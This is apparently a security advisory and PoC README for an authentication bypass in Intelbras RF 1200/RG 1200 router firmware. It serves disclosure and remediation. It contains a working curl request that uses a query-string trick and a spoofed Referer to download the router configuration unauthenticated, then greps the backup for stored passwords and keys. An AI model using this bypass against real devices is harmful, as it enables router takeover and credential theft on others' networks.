
Intelbras RF 1200 / RG 1200 — Authentication Bypass (CVE-2026-117083) Exploit-PoC.
A single-parameter authentication bypass in the GoAhead HTTP server shipped with Intelbras RF 1200 and RG 1200 routers grants complete unauthenticated access to the entire admin panel — every endpoint, every function, every setting — to any client on the LAN. No credentials are required at any stage. The device and the target network are fully compromised by this vulnerability alone.
| Vendor | Intelbras (Brazil) |
| Affected devices | RF 1200 (firmware v1.2.4), RG 1200 (firmware v2.1.9) |
| Vulnerable binary | /bin/httpd — GoAhead web server |
| Vulnerable function | R7WebsSecurityHandler |
| Attack vector | Network — LAN (unauthenticated) |
| CVSS v3.1 vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS v3.1 score | 9.8 Critical |
| CVE | CVE-2026-117083 |
| PoC | Available in this repository — exploit.pl |
The GoAhead authentication hook R7WebsSecurityHandler in /bin/httpd checks
whether the requested URL corresponds to a public static asset using strstr:
/* Simplified from disassembly of R7WebsSecurityHandler */
if (strstr(full_url, "img/main-logo.png") != NULL) {
/* bypass authentication — treat as public resource */
goto allow;
}
full_url is the complete request URI including the query string. Appending
?img/main-logo.png to any endpoint URL causes strstr to return non-null,
bypassing authentication for every single handler and CGI endpoint registered
in the GoAhead dispatch table — without exception.
This is not a partial or scoped bypass. Every form handler, every configuration endpoint, every diagnostic function, and every file download endpoint on the device becomes accessible to any unauthenticated client on the network.
The same function calls check_CSRF_attack, which validates the Referer header
with an equally weak substring check:
if (strstr(referer, "meuintelbras") != NULL) {
/* CSRF check passes */
}
Sending Referer: http://meuintelbras.local (and Origin: http://meuintelbras.local)
satisfies this check from any origin. The string "meuintelbras" is the brand
hostname prefix hardcoded in the firmware. Both headers are included in the PoC.
An unauthenticated attacker on the LAN (or on the WAN if remote management is enabled) gains total control over the device and can directly affect every host on the target network. This includes but is not limited to:
The configuration backup download demonstrated in the PoC below is one of the simplest examples of what this bypass enables. It is used as the public PoC because it is safe to reproduce, produces unambiguous output, and requires no additional exploitation steps. It does not reflect the full severity of the vulnerability.
Note: The PoC script (
exploit.pl) is available in this repository.
The example below demonstrates unauthenticated configuration backup download — one of many actions the bypass makes possible.
curl -s \
-H 'Referer: http://meuintelbras.local' \
-H 'Origin: http://meuintelbras.local' \
"http://10.0.0.1/cgi-bin/DownloadCfg?img/main-logo.png" \
-o config.bin
# Inspect for plaintext credentials
strings -n 6 config.bin | grep -iE 'pass|psk|key|secret'
The bypass string ?img/main-logo.png works identically against any other
endpoint on the device. The Referer and Origin headers containing
meuintelbras bypass the secondary CSRF check in the same function.
| Device | Firmware | HTTP Server | Result |
|---|---|---|---|
| Intelbras RF 1200 | v1.2.4 | GoAhead (debug build) | Confirmed |
| Intelbras RG 1200 | v2.1.9 | GoAhead (debug build) | Confirmed |
Parse the URI path component before performing any allowlist check.
Do not apply strstr to the full URI string including query parameters.
Use an exact-match allowlist of permitted unauthenticated paths rather than a substring search.
Fix the CSRF Referer check: validate the Referer and Origin host
against the device's configured LAN IP address, not a hardcoded brand name
substring.
| Date | Event |
|---|---|
| 2026-09-22 | Vulnerability confirmed on RF 1200 v1.2.4 |
| 2026-09-23 | Confirmed on second device: RG 1200 v2.1.9 |
| 2026-09-23 | Vendor (Intelbras) notified |
| 2026-09-23 | Public advisory published; MITRE CVE submission |
| 2026-11-05 | CVE-2026-117083 assigned by MITRE |
Security research conducted under authorized penetration testing engagement.
Responsible disclosure coordinated with vendor prior to publication.
Further exploitation details withheld pending vendor patch and responsible disclosure deadline.